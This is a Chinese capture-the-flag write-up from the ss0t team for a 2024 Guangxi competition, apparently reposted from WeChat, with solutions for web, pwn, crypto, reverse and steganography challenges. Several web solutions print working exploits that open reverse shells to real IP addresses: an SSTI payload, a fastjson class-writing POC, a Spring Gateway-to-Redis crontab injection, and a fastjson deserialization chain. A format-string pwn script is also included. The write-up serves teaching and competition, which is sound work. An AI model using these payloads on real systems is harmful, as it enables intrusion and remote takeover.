在2024年广西职工职业技能大赛中ss0t战队新一代取得了第一名的好成绩
持续招新: 对网络安全有着浓厚的兴趣,愿意为之努力。 积极参加各类信息安全比赛,不畏困难 重视团队精神,愿意把团队当作大家庭,能做到风雨同舟,为团队奉献。 如有广西师傅们有意愿加入我们,可将简历发送至[email protected]
ReadMySecret
打任意MYSQL任意文件读取文件读取,起好服务器然后生成payload
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
<?php
highlight_file(__FILE__);
class DB{
// Something secret in /hint
public$host;
public$username;
public$password;
public$dbname;
public function __construct($host, $username, $password, $dbname){
$this->host = $host;
$this->username = $username;
$this->password = $password;
$this->dbname = $dbname;
}
}
echo serialize(new DB("","","",""));
蚁剑连上就行
memory
随机10个关键字waf,无视waf就行,多发几次即可
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
import random
blacklist=[
'_', 'class', 'base', 'mro', 'subclasses', '.', '[', ']', '{%', "'", '"',
'request', 'cookie', 'values', 'url_for', 'config', 'builtins', 'globals',
'init', '\x', 'attr', 'getitem', 'string', 'list', 'select', 'pop', 'print',
'set', '{{', 'join', 'count','app','os',"import","modules","dict","sys"
]
defwaf(s):
evilcode= random.sample(blacklist,10)
ifnot s.isascii():
returnFalse
else:
for key in evilcode:
if key in s:
returnTrue
returnFalse
exp如下:
import requests
defxxx():
return
url = "http://62671fcb1afcb0b5.node.nsctf.cn/"
defget8str(s):
res = ""
for i in s:
res += f"\{oct(ord(i)).replace('0o','')}"
return res
payload = "{{lipsum.__globals__['" + get8str("os") + "'].system('" + get8str("bash -c 'bash -i >&/dev/tcp/193.112.178.208/6666 0>&1'") + "')}}"
while1:
print(requests.post(url,data={"code":payload}).text)
几秒后收到反弹shell读取flag即可
json
打fastjson in spring,利用cache使InputStream
可以绕过auto Type,然后用commons.io
进行任意文件读写,将类写道classPath然后在进行反序列化触发即可,POC:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.MediaType;
import org.springframework.util.LinkedMultiValueMap;
import org.springframework.web.client.RestClientException;
import org.springframework.web.client.RestTemplate;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
publicclass POC {
static String target = "http://0e594eccf142ca0b.node.nsctf.cn/json";
// static String target = "http://193.112.178.208:8080/json";
static String file = "file:///tmp/1";
static String classname = "com.xxx.Hack6xException";
// static String file2write = "/tmp/tomcat-docbase.8080.1787086389405282999/WEB-INF/classes/com/chenzai/HackException.class";
static String file2write = "/tmp/tomcat-docbase.8080.1787086389405282999/WEB-INF/classes/" + classname.replace(".","/") + ".class";
publicstatic Object sendJson(String payload) {
try {
RestTemplate restTemplate = new RestTemplate();
HttpHeaders httpHeaders = new HttpHeaders();
httpHeaders.setContentType(MediaType.APPLICATION_FORM_URLENCODED);
LinkedMultiValueMap<Object, Object> map = new LinkedMultiValueMap<>();
map.add("json", payload);
HttpEntity<LinkedMultiValueMap<Object, Object>> request = new HttpEntity<>(map, httpHeaders);
return restTemplate.postForObject(target, request, String.class);
} catch(RestClientException e) {
return"null";
}
}
publicstaticvoidmain(String[] args) throws IOException, CannotCompileException, NotFoundException, InterruptedException {
// 1. add inputStream to fastjson cache
String payload1 = new String(Files.readAllBytes(Paths.get("payloads/step1.json")));
sendJson(payload1);
// 2. read file name of tmp docbase
String data = "";
boolean flag = true;
String payload2 = new String(Files.readAllBytes(Paths.get("payloads/step2.json")));
payload2 = payload2.replace("${file}", file);
String template = payload2;
while(flag) {
for(int i = 0; i < 256; i++) {
String temp = data + (char) i;
payload2 = template.replace("${data}", Arrays.toString(temp.getBytes(StandardCharsets.UTF_8)));
String o = (String) sendJson(payload2);
if(o.length() > 79) {
System.out.println(o);
data = temp;
i = 0;
}
if(i == 255) flag = false;
}
}
System.out.println(data);
String regex = "tomcat-docbase\.[^\n]+";
Pattern pattern = Pattern.compile(regex);
Matcher matcher = pattern.matcher(data);
String docbase = "";
if(matcher.find()) docbase = matcher.group();
System.out.println("find docbase: " + docbase + "!!!");
file2write = file2write.replace("${tomcat_docbase}",docbase);
// 3. write evil class file to docbase
String payload3 = new String(Files.readAllBytes(Paths.get("payloads/step3.json")));
payload3 = payload3.replace("${file2write}",file2write);
byte[] evilBytes = getEvilBytes("touch /tmp/pwned");
String shellcode = bytesToHexString(evilBytes);
payload3 = payload3.replace("${size}",Integer.toString(24));
String payloadTemplate = payload3;
for(int i = 0; i < shellcode.length(); i+=20 ) {
int end = i+20;
if(end > shellcode.length()) {
end = shellcode.length();
}
System.out.println(shellcode.substring(i,end));
payload3 = payloadTemplate.replace("${shellcode}",shellcode.substring(i,end));
System.out.println(i);
System.out.println(end);
sendJson(payload3);
}
String payload4 = new String(Files.readAllBytes(Paths.get("payloads/step4.json")));
sendJson(payload4.replace("${className}",classname));
System.out.println("done!!!");
}
publicstatic byte[] getEvilBytes(String cmd) throws CannotCompileException, IOException, NotFoundException {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass(classname);
cc.setSuperclass(pool.get("java.lang.Exception"));
String shellcode = " try {n" +
" Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >&/dev/tcp/193.112.178.208/6666 0>&1"});n" +
" } catch (Exception e) {n" +
" throw new RuntimeException(e);n" +
" }";
cc.makeClassInitializer().insertBefore(shellcode);
cc.toClass();
return cc.toBytecode();
}
publicstatic String bytesToHexString(byte[] bytes) {
StringBuilder hexString = new StringBuilder();
for(byte b : bytes) {
hexString.append("\x").append(String.format("%02x", b));
}
return hexString.toString();
}
}
收到反弹shell后读取flag即可
spring
首先是heapdump泄露,读redis key,访问/actuator/heapdump下载,工具一把梭拿密码
然后是spring-gateway的未授权添加路由,添加redis的端口来打ssrf即可,按顺序发下面两个包进行路由的添加
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 3b5744e1e70597c3.node.nsctf.cn
Connection: close
Content-Type: application/json
{
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/new_route/**"
}
}
],
"filters": [
{
"name": "RewritePath",
"args": {
"_genkey_0": "/new_route(?<path>.*)",
"_genkey_1": "/${path}"
}
}
],
"uri": "http://127.0.0.1:6379/",
"order": 0
}
-
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
POST /actuator/gateway/refresh HTTP/1.1
Host: 3b5744e1e70597c3.node.nsctf.cn
Connection: close
Content-Type: application/json
{
"predicate": "Paths: [/new_route], match trailing slash: true",
"route_id": "new_route",
"filters": [
"[[RewritePath /new_route(?<path>.*) = /${path}], order = 1]"
],
"uri": "https://www.cnpanda.net",
"order": 0
}
然后盲打redis + crond
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
POST/new_route/xxx.xxx HTTP/1.1
Host: 3b5744e1e70597c3.node.nsctf.cn
Connection: close
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
auth P
set xx "n* * * * * bash -i >& /dev/tcp/193.112.178.208/6666 0>&1n"
config set dir /var/spool/cron/
config set dbfilename root
save
收到反弹shell后读取flag即可
ezpop
变量引用绕过md5(mt_rand()),十六进制绕过正则匹配
exp如下
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
<?php
class DayDay{
public$secret;
public$password;
public$filename;
public function __construct() {
$this->password=& $this->secret;
$this->filename = "/flag";
}
}
class five {
public$hahah;
public function __construct() {
$this->hahah= new Music();
}
}
class FFFF {
public$four;
public function __construct() {
$this->four=new DayDay();
}
}
class Music{
public$a='';
public function __construct() {
$this->a= new FFFF();
}
}
class Hello{
public$hello;
public function __construct() {
$this->hello= new five();
}
}
echo(serialize(new Hello()));
ounter(line
O:5:"Hello":1:{s:5:"hello";O:4:"five":1:{s:5:"hahah";O:5:"Music":1:{s:1:"a";O:4:"FFFF":1:{s:4:"four";O:6:"DayDay":3:{s:6:"secret";N;s:8:"password";R:6;s:8:"filename";S:5:"/66lag";}}}}}
SecurityObject
fastjson原生反序列化+二次反序列化
xString代替BadAttributeValueExpException,二次反序列化绕过TemplatesImpl的过滤
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
package fastj7son;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;
publicclass fastjson1Usual {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
//生成恶意类
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = newCtConstructor(newCtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(new String[]{"bash","-c","bash -i>&/dev/tcp/47.242.30.242/60003 0>&1"});");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
// byte[] bytes = Repository.lookupClass(InjectInterceptor.class).getBytes();
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "clown");
setValue(templates, "_tfactory", null);
ArrayList<Object> arrayList=newArrayList<>();
arrayList.add(templates);
JSONArray jsonArray = newJSONArray();
jsonArray.add(templates);
Object val = getXString(jsonArray);
arrayList.add(val);
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = newSignedObject(arrayList, kp.getPrivate(), Signature.getInstance("DSA"));
ArrayList<Object> arrayList1=newArrayList<>();
arrayList1.add(signedObject);
JSONArray jsonArray1 = newJSONArray();
jsonArray1.add(signedObject);
Object val1 = getXString(jsonArray1);
arrayList1.add(val1);
ByteArrayOutputStream barr = newByteArrayOutputStream();
ObjectOutputStream objectOutputStream = newObjectOutputStream(barr);
objectOutputStream.writeObject(arrayList1);
System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
// ObjectInputStream ois = newObjectInputStream(newByteArrayInputStream(barr.toByteArray()));
// Object o = (Object)ois.readObject();
}
publicstatic HashMap getXString(Object obj) throws Exception{
XString xstring=newXString("");
HashMap hashMap1 = newHashMap();
HashMap hashMap2 = newHashMap();
hashMap1.put("yy",xstring);
hashMap1.put("zZ",obj);
hashMap2.put("zZ",xstring);
hashMap2.put("yy",obj);
HashMap hashMap = newHashMap();
hashMap.put(hashMap1, 1);
hashMap.put(hashMap2, 2);
return hashMap;
}
}
fmt
fmt格式化字符串,手动构造格式化字符串
exp
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
#!/usr/bin/env python3
from pwn import *
def get_sb():
return libc.address + libc.sym['system'], libc.address + next(libc.search(b'/bin/shx00'))
def dbg(c=0):
if c:
gdb.attach(io, c)
else:
gdb.attach(io)
pause()
s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'xf7')[-4:].ljust(4, b'x00'))
l64 = lambda: u64(io.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))
io = remote("node.nsctf.cn","58379")
r()
sl(b"aaa")
payload=b"%4566c%8$hnaaaaa"+p64(0x404020)+b"a"
print(payload)
r()
s(payload)
ia()
EZ_Sign
题目已知信息有p,q,g,y,和签名值。
根据题目代码得出都使用相同的DSA参数(p、q、g、y)来构造公钥和私钥。并且都共享了k值。那么只要求出k值和密钥x,就可以解密flag。
已知条件
签名值 (r,s)
消息哈希值 H(m)
参数 p,q,g,y
计算r:
计算s:
得出:
通过消除随机数 k−1,我们可以得出一个关于私钥 x 的多项式形式。可以通过上述公式并使用三次多项式求出x。
解密exp
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
from Crypto.Util.number import *
from Crypto.PublicKey import DSA
import hashlib
import random
def sign(msg, pub, pri, k):
p, q, g, y = pub
r = pow(g, k, p) % q
h = int(hashlib.sha256(msg).hexdigest(), 16)
s = ((h + pri * r) * inverse(k, q)) % q
return r, s
# 参数初始化
p = 20560851691155729458135781326364601481002862048647982682861906974582183646883112713554020597636846264383580784933946947766079719157036374269747970131883507977586545420419432608984474221859429340312261288376818105238629642244641055746845298239584217618478528729161327559869162115736347772167362159237913114120736462201865744277596432880278372782460543888678582411280692383281728424437708404980766812291853923917969437496707554431084881076340919656407700548001931803218116671157346769576385449662968242268406883057202530748229524181282220900186460994394090301440461141739709346111698449526924007332447145202677319796323
q = 22538410130820149813826434139509639764486960496367565839816958668403
g = 8332926122881465537796664179717599149968088050157777471299323592925935711122973546147354293100437750412791925337522125475776787702820794102368062515478895894528596704063873005318291477395457813717684032515751086988435895935649066918443251715124383985055231621033045169314865025116960783020228244483997882284852422994581614034213883889685181424477738552483683490595896825754661022364752412861882834618493346809308861914282961714619455580502744125260137067018045229807235488161486993920164504229576402261844696101086417606233934547162849721777012966775567357369255460998853826793743402908277308981297201950043957263995
y = 1504854681422434497630339130331093694766411379052119649579564387241306912795403553688744523687110160519342109642731519297741694603594001087804078979854857825223200693911183728693131835723429945869557011685936018144638527535468822472106556375890928523450515757768646496358064578089235985542836525158433242633685750617284824404122515496706009838128726900540180562084820221603996460887008939630249892291400823672836803422201271748388340426133794604990689476511322973398696940566721989195329247284248591228046610986797262915909940826708399176009988979951014994498308938896449535260505121595008710722684321573356770580215
r1 = 8651159219798861833338047265929183429774024854238880614440862863547
s1 = 8604003088816867098828730984548898819296317644834237716980776383156
r2 = 7422617902622832597239188031428021660654542846922612073568924379295
s2 = 13608721278368266454735713742912245650580843117760473556441051161957
# 消息哈希值计算
h1 = int(hashlib.sha256(b"Welcome to the DSA world!").hexdigest(), 16)
h2 = int(hashlib.sha256(b"This just a easy problem!").hexdigest(), 16)
# 计算多项式系数
coeff1 = (h1 ** 3 * inverse(s1, q) ** 3) % q
coeff2 = (3 * h1 ** 2 * r1 * inverse(s1, q) ** 3) % q
coeff3 = (3 * h1 * r1 ** 2 * inverse(s1, q) ** 3) % q
coeff4 = (r1 ** 3 * inverse(s1, q) ** 3) % q
coeff5 = (h2 * inverse(s2, q)) % q
coeff6 = (r2 * inverse(s2, q)) % q
# 构造并求解多项式
R.<x> = Zmod(q)[]
polynomial = coeff4 * x ** 3 + coeff3 * x ** 2 + (coeff2 - coeff6) * x + (coeff1 - coeff5)
# 计算解并打印标志
solutions = polynomial.roots()
for solution in solutions:
x_value = int(solution[0])
flag_value = f"flag{{{hashlib.sha1(str(x_value).encode()).hexdigest()}}}"
print(flag_value)
输出
flag{6d5d5a52d31c2ae953aa98cd605e6a6b4536cddf}
由于k值是不确定的随机数,所以我们构造一个三次多项式 polynomial,其中x是未知数。Zmod(q)表示在模 q 的域中定义多项式。通过这个多项式的根来解出 x值。并使用求出来的x值进行SHA-1 哈希生成求出flag。
easyAz
找到加密字符串
根据加密写出解密脚本
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
package org.example;
import java.util.HashMap;
import java.util.Map;
publicclass tree {
// Definition of the treetree node
privatestaticclass treetree {
char value;
treetree left, right;
treetree(char value) {
this.value = value;
this.left = this.right = null;
}
}
treetree root = null;
// Insert method as provided
public void insert(char value) {
this.root = insertRec(this.root, value);
}
private treetree insertRec(treetree root, char value) {
if(root == null) {
return new treetree(value);
}
if(value < root.value) {
root.left = insertRec(root.left, value);
} else if (value > root.value) {
root.right = insertRec(root.right, value);
}
return root;
}
// Encrypt method as provided
public String encrypt(String input) {
for(int i = 0; i < input.length(); i++) {
insert(input.charAt(i));
}
return inorder() + postorder();
}
private String inorder() {
StringBuilder result = new StringBuilder();
inorderRec(this.root, result);
return result.toString().trim();
}
private void inorderRec(treetree root, StringBuilder result) {
if(root != null) {
inorderRec(root.left, result);
result.append(root.value);
inorderRec(root.right, result);
}
}
private String postorder() {
StringBuilder result = new StringBuilder();
postorderRec(this.root, result);
return result.toString().trim();
}
private void postorderRec(treetree root, StringBuilder result) {
if(root != null) {
postorderRec(root.left, result);
postorderRec(root.right, result);
result.append(root.value);
}
}
/**
* Decrypts the encrypted string back to the original input string.
*
* @param encrypted The encrypted string (in-order + post-order traversals).
* @return The original decrypted string.
* @throws IllegalArgumentException if the encrypted string length is not even or contains duplicate characters.
*/
public static String decrypt(String encrypted) {
if(encrypted.length() % 2 != 0) {
throw new IllegalArgumentException("Invalid encrypted string length.");
}
int n = encrypted.length() / 2;
String inOrder = encrypted.substring(0, n);
String postOrder = encrypted.substring(n, 2 * n);
// Reconstruct the tree from in-order and post-order traversals
treetree root = buildTree(inOrder, postOrder);
// Perform pre-order traversal to get the original string
StringBuilder original = new StringBuilder();
preOrderRec(root, original);
return original.toString();
}
// Helper method to build the tree from in-order and post-order traversals
private static treetree buildTree(String inOrder, String postOrder) {
if(inOrder.length() != postOrder.length()) {
throw new IllegalArgumentException("In-order and Post-order strings must be of the same length.");
}
int n = inOrder.length();
Map<Character, Integer> inOrderMap = new HashMap<>();
for(int i = 0; i < n; i++) {
char c = inOrder.charAt(i);
if(inOrderMap.containsKey(c)) {
throw new IllegalArgumentException("Duplicate characters detected. Decryption requires unique characters.");
}
inOrderMap.put(c, i);
}
return buildTreeRec(inOrder, 0, n - 1, postOrder, 0, n - 1, inOrderMap);
}
private static treetree buildTreeRec(String inOrder, int inStart, int inEnd,
String postOrder, int postStart, int postEnd,
Map<Character, Integer> inOrderMap) {
if(inStart > inEnd || postStart > postEnd) {
returnnull;
}
// The last character in postOrder is the root
char rootVal = postOrder.charAt(postEnd);
treetree root = new treetree(rootVal);
// Find the root in inOrder
int inRoot = inOrderMap.get(rootVal);
int numsLeft = inRoot - inStart;
// Recursively build left and right subtrees
root.left = buildTreeRec(inOrder, inStart, inRoot - 1,
postOrder, postStart, postStart + numsLeft - 1,
inOrderMap);
root.right = buildTreeRec(inOrder, inRoot + 1, inEnd,
postOrder, postStart + numsLeft, postEnd - 1,
inOrderMap);
return root;
}
// Helper method to perform pre-order traversal
private static void preOrderRec(treetree root, StringBuilder result) {
if(root != null) {
result.append(root.value);
preOrderRec(root.left, result);
preOrderRec(root.right, result);
}
}
public static void main(String[] args) {
tree tr = new tree();
System.out.println(tr.decrypt("0MNSTeiknopruvxyz~0konip~zyxvureTSNM"));
}
}
三项之力
首先得到一张图片经过多次测试发现使用StegSolve打开图片在Red和Green、Blue通道都各有数据
首先我们先查看red通道一个倒着的PNG头,对应题目描述提示:Reversed
先保存出来把16进制处理一下,先把空白处删除一下,不然到时候空白处会一起倒序出来
使用脚本把图片16进制进行倒序处理
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
input = open('reg.png', 'rb')
input_all = input.read()
ss = input_all[::-1]
output = open('reg1.png', 'wb')
output.write(ss)
input.close()
output.close()
扫描二维码得出第一个key:key_part1:0d000721_114514_1919810_
查看第二个图层Grenn是一个压缩包,然后里面是flag.txt但是只找到了一个key
接下来查看第三个图层Blue,发现查看通道是空白的,然后在查看图片界面,条形码?不是,摩斯电码?不是,当时在这卡了很久,然后看题目描述看了很久
首先分析题目描述Gopher esolang,百度了一下这东西是一个计算机编程语言跟第三个通道没关系
然后再看看Bitmap RGBA,直接搜,就搜出来这个
不妨加上CTF这3个大字,噢!里面全程都是描述BMP图片,但是通道3是空白的,然后想想先把通道3的内容导出来放进010分析
根据里面的文章内容我们加上一个BMP图片的文件头然后保存,加上个BMP后缀保存重新打开
最后,BMP常考的一个点就是宽高问题我们打开图片看宽高,根据上个得出的二维码宽高试试,100x100
改完宽高得出,不对劲,还有个地方没改,位图,原来是24然后只能+8,加其它的数字图片就报错打不开
24+8=32,保存重新打开
得出key2:key_part2:089d7147-6786-42b5-b81e-3b7e050304a6
加起来就是压缩包密码
0d000721_114514_1919810_089d7147-6786-42b5-b81e-3b7e050304a6
得出
大差不差就是我们一开始搜索Gopher esolang语言了
原文始发于微信公众号(ss0t 战队):2024年广西职工职业技能大赛-ss0t战队wp
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论